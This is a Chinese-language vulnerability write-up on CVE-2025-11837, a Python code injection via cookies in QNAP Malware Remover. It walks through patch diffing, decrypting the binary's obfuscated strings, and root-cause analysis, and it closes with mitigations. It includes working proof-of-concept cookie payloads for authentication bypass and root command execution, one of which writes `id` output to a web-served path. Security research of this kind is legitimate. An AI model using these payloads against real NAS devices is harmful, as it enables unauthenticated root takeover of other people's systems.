Post

CVE-2025-11837 深度分析:QNAP Malware Remover Python 代码注入漏洞

CVE-2025-11837 深度分析:QNAP Malware Remover Python 代码注入漏洞

背景

CVE-2025-11837 是一个影响 QNAP Malware Remover 的漏洞,CVSS 9.8,标注为网络可达、无需认证、无需用户交互。该漏洞最早在 Pwn2Own Ireland 2025 上被演示,QNAP 随后在 QSA-25-47 公告中修复,修复版本为 Malware Remover 6.6.8.20251023。公告中的技术信息仅有 CWE-94(代码注入)、影响版本范围、修复版本——没有 PoC,没有根因分析,没有漏洞定位。一个 CVSS 9.8 的未授权 RCE,公开资料中除了公告描述几乎空白。

值得注意的是,这不是 Malware Remover 第一次出现注入问题。2021 年的 QSA-21-16 就是同一个组件的命令注入。同一组件,同类问题,时隔数年再次出现。本次究竟是老问题复发,还是新的注入形式,仅凭公告无法判断,需要进一步分析。

本文记录从两个版本的 QPKG 包出发,定位、还原并验证漏洞根因的完整过程。

摘要

  • 漏洞类型: malware_remover.cgi 将 HTTP Cookie 值无校验地拼入一段 Python 源码模板,随后用 python -c 执行该脚本,构成 Python 代码注入(CWE-94)
  • 利用条件: 无需任何有效会话,单个 HTTP 请求即可触发;认证本身可被绕过
  • 影响范围: 未认证的远程代码执行,目标进程权限为 uid=0(root)
  • 前置条件: 仅需网络可达目标,无需凭据、无需用户交互
  • 修复方式: 6.6.8 在拼接前对 cookie 值增加长度(≤32)与 isalnum 白名单双重校验

环境搭建

分析环境基于 QNAP 的虚拟化版本 QuTScloud(c5.1.7.2739)。两个版本的 Malware Remover 分别用于漏洞复现与修复对比:

组件 版本 文件
QuTScloud c5.1.7.2739 QuTScloud_c5.1.7.2739.ova.zip
Malware Remover(漏洞版) 6.6.7.20250813_093505 MalwareRemover-6.6.7.20250813_093505-x86_64.zip
Malware Remover(修复版) 6.6.8.20251023_151451 MalwareRemover-6.6.8.20251023_151451-x86_64.zip

搭建步骤如下:

  1. 解压 QuTScloud_c5.1.7.2739.ova.zip,得到 OVA 虚拟机镜像。
  2. 将 OVA 导入虚拟机管理程序(VirtualBox / VMware 等)。
  3. 启动虚拟机,完成 QuTScloud 初始化,确认 NAS 环境正常运行,Web 管理界面可访问。
  4. 通过 App Center 将 Malware Remover 安装包导入虚拟机。由于需要对两个版本做对比,依次安装漏洞版本(6.6.7)与修复版本(6.6.8)。

样本与攻击面

两个版本都是完整的 QNAP QPKG 包,结构相同:

1
2
3
MalwareRemover/
├── MalwareRemover-6.6.7/    ← 漏洞版本
└── MalwareRemover-6.6.8/    ← 修复版本

每个包里核心文件分三类:

  • www/malware_remover.cgi — C++ 编译的 CGI 二进制,HTTP 入口
  • modules/*.pyc — Python 2.7 字节码,承载业务逻辑
  • MalwareRemover_exec / MalwareRemover_scan — shc 加壳的辅助二进制

Apache 配置中暴露的攻击面:

1
2
3
Alias /malware_remover "/home/httpd/cgi-bin/qpkg/MalwareRemover"
RewriteRule "^scan/status/?"  "malware_remover.cgi?action=status"
RewriteRule "^scan/start/?"   "malware_remover.cgi?action=scan"

CGI 通过 action 参数分发 statusscanstopsettingbackground_taskaboutsystem_status 等动作。所有 rewrite 规则、shell 脚本、.default 模板在两个版本之间逐字节一致,差异完全落在二进制文件里。

明文资源对比

拿到两套固件,第一步用排除法把差异范围压到最小,而非直接反编译。所有明文资源逐一对比:

文件 结果
common.sh 完全一致
MalwareRemover.sh 完全一致
apache-malware_remover.conf 完全一致
modules/default/*.default 完全一致

明文资源零差异,差异位于 malware_remover.cgi.pyc 内部。下一步对两个 ELF 二进制做导入表 diff。

导入表 diff

对比两个版本 malware_remover.cgi 的 ELF 导入符号表,寻找新增或删除的库函数。结果是整个导入表里唯一的变化:

1
2
6.6.7: 无 isalnum
6.6.8: isalnum@@GLIBC_2.2.5 (extern @ 0x21a998)  ← 唯一新增

函数总数从 384 涨到 386,新增的两个里只有 isalnum 是业务相关的。其余像 execvpforkpipedup2sprintfregcompregexec 两版本完全一致。

根据这一条信息可以判断漏洞性质:

  • isalnum 是字符白名单函数,等价于 [A-Za-z0-9]
  • CWE-94 的典型修复方式是「在执行外部输入前加输入校验」
  • execvp/fork 在两个版本中都存在,说明命令执行能力未被移除,而是在调用前增加了过滤

据此推断:修复方式是对某个外部输入增加 isalnum 白名单校验,目的是阻断代码注入。具体是哪个输入、注入到什么内容、如何执行,需要进一步分析。

修复点定位

isalnum 为新增符号,其调用者即为修复发生的位置。追踪这个符号的交叉引用:

1
2
3
4
5
6
7
# isalnum PLT thunk 的 xrefs
xref_query(addr=0x3330, direction="to")
# → 唯一调用者: main @ 0x3a8d

# 顺便查 execvp 的调用者
xref_query(addr=0x2e80, direction="to")
# → 唯一调用者: popen_pipeline_exec @ 0x687c

isalnum 在整个 6.6.8 二进制中只有 main 函数一个调用点,地址 0x3a8dexecvp 仅在一个自实现的 popen 风格执行器中被调用。据此判断修复发生在 main 中,且与该执行器的调用链相关。

同时在 IDB 中对相关函数重命名,便于后续分析:

1
2
3
sub_9570 → popen_pipeline_exec       (popen 风格命令执行器)
sub_66F0 → popen_child_dup2_execvp   (子进程 dup2 + execvp)
main     → main_CVE_2025_11837_fixed (6.6.8) / _vulnerable (6.6.7)

反编译对比:cookie 处理逻辑

反编译两个版本的 main,对比调用了 isalnum 的循环。该循环处理 HTTP Cookie。

漏洞版 6.6.7(cookie 处理 @ 0x3b01):

1
2
3
4
5
6
while (1) {
    v9 = *(_QWORD *)v6;                    // cookie 值,无任何校验
    snprintf(v114, 0x400, &byte_21A9C0, v75[0], v9);  // v9 直接拼进字符串
    sub_9570(s1, 64, ::dest, &unk_16294, v114, ...);   // 用 v114 执行命令
    // ...
}

修复版 6.6.8(cookie 处理 @ 0x3a60):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
while (1) {
    v8 = *v7;                               // cookie 值
    if (strlen(*v7) <= 0x20) {              // ① 长度校验 ≤ 32
        v9 = *(unsigned __int8 *)v8;
        if ((_BYTE)v9) {
            v10 = v8;
            while (isalnum(v9)) {           // ② 逐字符 isalnum 白名单 ← 新增
                v9 = *(unsigned __int8 *)++v10;
                if (!(_BYTE)v9) goto LABEL_28;
            }
            goto LABEL_25;                  // 含非 alnum → 跳过该 cookie
        }
LABEL_28:
        snprintf(v116, 0x400, &byte_21A000, v86[0], v16);
        sub_95D0(...);                      // popen_pipeline_exec
    }
}

6.6.7 将 cookie 值不做任何校验即拼入一个字符串模板并执行。6.6.8 在拼接前增加双重校验:长度不超过 32,且每个字符均为字母或数字。

字符串加密对分析的限制

回看 6.6.7 的关键调用:

1
sub_9570(s1, 64, ::dest, &unk_16294, v114, ...);

三个关键操作数在 IDA 中均为密文占位符,看不到任何明文:

操作数 IDA 显示 实际含义(未知)
::dest 无明文字符串 解释器路径(shpython?)
&unk_16294 unk_(unknown)前缀 命令参数(-c?还是别的?)
&byte_21A9C0(上一行 snprintf 的模板) byte_ 前缀 命令/代码模板(如何拼 cookie?)

unk_byte_ 前缀是 IDA 的明确信号:这些位置存储的是原始字节数据,未被识别为字符串——因为它们是密文。

虽然从修复版的 isalnum 白名单已知注入载体是 cookie,但从这一行无法看出注入到什么里面。以下三种组合对应完全不同的利用方式

  • 模板为 sh -c "...%s..." → shell 注入,payload 为 ;command(CWE-78)
  • 模板为 python -c "...%s..." → Python 代码注入,payload 为 ');import os;...(CWE-94)
  • 模板的引号风格(' / " / 无引号)决定 payload 的闭合方式

CVE 情报标注为 CWE-94(代码注入),但情报需要验证——只有解出模板明文,才能确认注入语言,进而构造可用的 PoC。在模板明文未知的情况下:

  • 未知注入语言 → 无法构造 payload 语法
  • 未知引号风格 → 无法确定闭合方式
  • 甚至无法区分 CWE-78 与 CWE-94

结论:字符串解密成为分析的硬性卡点。 模板、解释器、参数这三个明文未解出,后续所有 PoC 构造均无从下手。因此此时必须暂时离开漏洞逻辑本身,转向逆向字符串加密算法——这正是 QNAP 这类厂商二进制的典型反分析手段:逻辑不藏,只藏字符串,要求分析者先破解字符串层才能继续。

逆向字符串加密算法

main 启动时调用了一批 sub_B420 / sub_B3C0,对 .data 段的密文做解密。反编译解密函数,加密分两个阶段。

第二阶段(减法解密,sub_B3C0):

1
2
3
4
5
6
7
8
9
void sub_B3C0(char *dest, char *s) {
    int v2 = strlen(s);        // 密钥长度
    int v3 = strlen(dest);     // 密文长度
    char *v4 = calloc(v3 + 1, 1);
    for (int i = 0; i < v3; i++)
        v4[i] = dest[i] - s[i % v2];   // 带符号字节减法
    strncpy(dest, v4, v3);
    free(v4);
}

第一阶段(XOR 预处理,sub_B4C0 / sub_B520):

1
2
3
4
// 用单字节 v6 = a2 ^ a3 = 243 ^ 246 = 5 对密钥本身做 XOR
v6 = 243 ^ 246;  // = 0x05
for (i = 0; i < len; i++)
    key[i] ^= v6;

第一次解密直接用原始密钥做 cipher - key,结果全是乱码。原因在于 sub_B520 会先用 0x05密钥本身做一次 XOR 预处理,真实密钥不等于原始密钥。修正后:

1
2
real_key[i] = raw_key[i] ^ 0x05            # 先预处理密钥
plain[i]    = cipher[i] - real_key[i % 32]  # 再用预处理后的密钥解密

全局密钥位于 0x21aa40,长 32 字节。

注入点还原

用一段 IDA Python 脚本在 6.6.7 的 IDB 中解出所有关键字段,结果如下:

地址 用途 解密明文
0x21aa20 解释器路径 /mnt/ext/opt/Python/bin/python
0x21a9c0 认证模板 import sys;sys.path.append('%s');from qnap_helper import check_sid;print(check_sid('%s'))
0x21a940 业务模板头 import sys;sys.path.append('%s');from web_interface import WebInterface;
0x21a900 scan 动作 print(WebInterface().start_scanning())
0x21a8c0 stop print(WebInterface().stop_scanning())
0x21a880 status print(WebInterface().get_scan_status())
0x21a840 setting GET print(WebInterface().get_setting())
0x21a800 setting PUT print(WebInterface().set_setting(sys.argv[1]))
0x21a7c0 background_task print(WebInterface().background_task())
0x21a780 about print(WebInterface().get_about_info())
0x21a740 system_status print(WebInterface().get_system_status())
0x16294 参数 -c
0x21a9a6 cookie 名 #0 QTS_SSID
0x21a999 cookie 名 #1 QTS_SSL_SSID
0x21a991 cookie 名 #2 NAS_SID
0x21a989 cookie 名 #3 nas_sid

根据 0x21a9c0 字段可以确定漏洞性质:这不是 shell 注入,而是 Python 代码注入。

CGI 将 cookie 值拼入一段 Python 源码:

1
2
3
import sys;sys.path.append('%s');
from qnap_helper import check_sid;
print(check_sid('<cookie值>'))     # ← 攻击者控制这里

然后用 /mnt/ext/opt/Python/bin/python -c <整段脚本> 执行。攻击者只需闭合 check_sid('...') 的单引号,即可注入任意 Python 表达式。这与 CWE-94(Improper Control of Generation of Code)的定义一致——拼出来的字符串是代码,不是数据。

这也解释了它与此前的 QSA-21-16 的区别:QSA-21-16 是命令注入,本次是 Python 代码注入。形式不同,但根本原因相同——外部输入未经校验即被拼入可执行内容。

完整调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
攻击者 HTTP 请求
  │  Cookie: QTS_SSID=<注入载荷>
  ▼
Apache (rewrite → malware_remover.cgi)
  ▼
main() 读取 HTTP_COOKIE
  │  正则提取 QTS_SSID=<value>        ← 无校验
  │  snprintf(模板, modules路径, <value>)  ← 拼接 Python 源码
  ▼
popen_pipeline_exec("python","-c",<脚本>)
  │  pipe + fork + dup2 + execvp
  ▼
Python 执行攻击者构造的代码  ← RCE

CGI 还会用 strncasecmp(result, "True", 4) 判断 Python 的输出是否以 True 开头来决定认证是否通过。因此注入不仅能执行代码,还能同时绕过认证。

注入逻辑较为直接:闭合 check_sid('...') 的单引号,插入任意表达式。最初构造的 payload 如下:

1
x')+(__import__('os').system('echo PWN'))+check_sid('

拼出来的 Python 是一句合法表达式。但实测时所有 payload 全部失败,均返回 {"status":401}

1
2
3
4
基线 AAAA:           1.07s  HTTP 200  {"status":401}
认证绕过:            1.12s  HTTP 200  {"status":401}  ← 应该是 200
语法破坏 zzz))):     0.05s  HTTP 200  {"status":401}
异常触发 1/0:        0.02s  HTTP 200  {"status":401}

关键线索在响应耗时。纯字母数字的 cookie 耗时 1.07 秒,与 Python 解释器启动时间相符,说明请求确实进入了 CGI。而含特殊字符的 payload 耗时仅 0.05 秒,时间过短,CGI 未被调用,Web 服务器在请求到达 CGI 之前就拒绝了请求。

问题出在 HTTP Cookie 值的合法字符集上。RFC 6265 加上 Apache 的严格解析,cookie 值中不允许出现空格。而最初的 payload 在 orimport 等关键字后带有空格,Apache 检测到空格即丢弃整个请求。

解决办法是用 TAB(\t)替代空格。TAB 不在 cookie 禁用字符列表中,Python 词法分析器将其视为空白符,shell 也接受其作为命令分隔符。修正后的认证绕过 payload:

1
x')or'TruePWN'or('

该 payload 不含空格,可直接使用。含 Python 关键字的 RCE payload 在关键字之间使用 TAB:

1
x')or	__import__('time').sleep(6)	or'TrueSLEEP'or(

认证绕过验证

首先验证认证绕过。payload 为 x')or'TruePWN'or(',拼出的 Python:

1
print(check_sid('x')or'TruePWN'or(''))

执行逻辑:check_sid('x') 返回 falsy(’x’ 不是有效会话),or 短路求值得到 'TruePWN'print 输出以 True 开头的字符串,CGI 的 strncasecmp 判定认证通过,进入 action=status handler 返回受保护数据。实测返回 status:200 的扫描状态 JSON,认证绕过成立。

命令回显

认证注入路径无法获取回显,要实现命令输出回显,需要另一种方式:将命令结果写入 web 可达目录,再通过 HTTP GET 取回。Apache 配置中的 Alias 暴露了路径:

1
Alias /malware_remover "/home/httpd/cgi-bin/qpkg/MalwareRemover"

/home/httpd/cgi-bin/qpkg/MalwareRemover/ 目录经 Alias 映射,可通过 /malware_remover/<filename> 直接拉取。payload 让 id 命令的输出重定向到该目录下的 leak.txt

1
Cookie: QTS_SSID=x')or[__import__('os').system('id>	/home/httpd/cgi-bin/qpkg/MalwareRemover/leak.txt'),'TrueRCE'][1]or(

这里用列表索引 [system(...),'TrueRCE'][1] 保证表达式返回 'TrueRCE'(使 CGI 认证通过),同时 os.system 的副作用已写入文件。随后通过 curl https://target/malware_remover/leak.txt 取回:

1
2
3
4
id:      uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
uname:   Linux NAS50F9BF 5.10.60-qnap #1 SMP Fri Apr 19 02:06:34 CST 2024 x86_64
whoami:  admin
passwd:  admin:x:0:0:administrator,,,:/share/homes/admin:/bin/sh

uid=0(root)身份执行,可读取 /etc/passwd 等敏感文件。

修复方案分析

6.6.8 的修复落在 main 函数中,针对 cookie 值增加两道校验:长度不超过 32 字节,且每个字符均通过 isalnum 校验。这两条限制切断了单引号闭合与表达式注入的可能——攻击者无法再向模板中插入任何非字母数字字符,Python 代码注入的入口被关闭。

从工程角度看,修复点选择准确:没有重写认证模板,也没有改执行方式,而是在「外部输入进入代码模板」这道边界上做白名单。这是 CWE-94 类问题最彻底的修法——既然无法信任拼入源码的输入,那就在拼接之前确保它只能是纯字母数字。

方法论回顾

阶段 发现 意义
导入表 diff isalnum 是唯一新增 一个符号即定性整个漏洞
字符串解密 check_sid('%s') 是 Python 将漏洞定性从 shell 注入改为代码注入
PoC 全失败 cookie 值禁空格 解释所有失败,TAB 为绕过点

回顾分析过程,效率最高的第一步是导入表 diff。一个 isalnum 的新增,配合 CWE-94 的标签,几乎不需要查看反编译即可判断漏洞性质。字符串解密中的 XOR 密钥预处理应更早注意到。而 cookie 禁空格这一问题,若一开始即用最小 payload(只闭合单引号、不带任何空格)测试,可减少不少排查时间。

时间线

日期 事件
2025-10-23 修复版本 6.6.8.20251023 发布
2026-06-22 固件逆向分析,定位并复现漏洞

缓解措施

  1. 立即升级到 Malware Remover 6.6.8.20251023 或更新版本
  2. 如果无法立即升级,限制 NAS 管理接口的网络暴露面,避免公网直接可达
  3. 检查 Web 访问日志中是否存在异常的 /malware_remover/ 请求或可疑 Cookie 值

总结

CVE-2025-11837 是一个被「代码注入」标签和空白的公开资料所掩盖的典型 Python 代码注入漏洞。其难度不在利用——闭合单引号、插入表达式属于标准操作——而在于从两个版本之间的一个 isalnum 新增,逆推到被字符串加密掩盖的 Python 模板,再确认注入的真实形式是源码拼接而非 shell 命令拼接。

该案例表明,CWE-94 不一定意味着 eval 或 shell 调用,凡是「外部输入被拼入一段可执行代码文本」均属此类。修复也指出了正确的边界位置:不要试图净化整段代码,而是在输入进入模板之前将其限定为纯字母数字。

参考链接

This post is licensed under CC BY 4.0 by the author.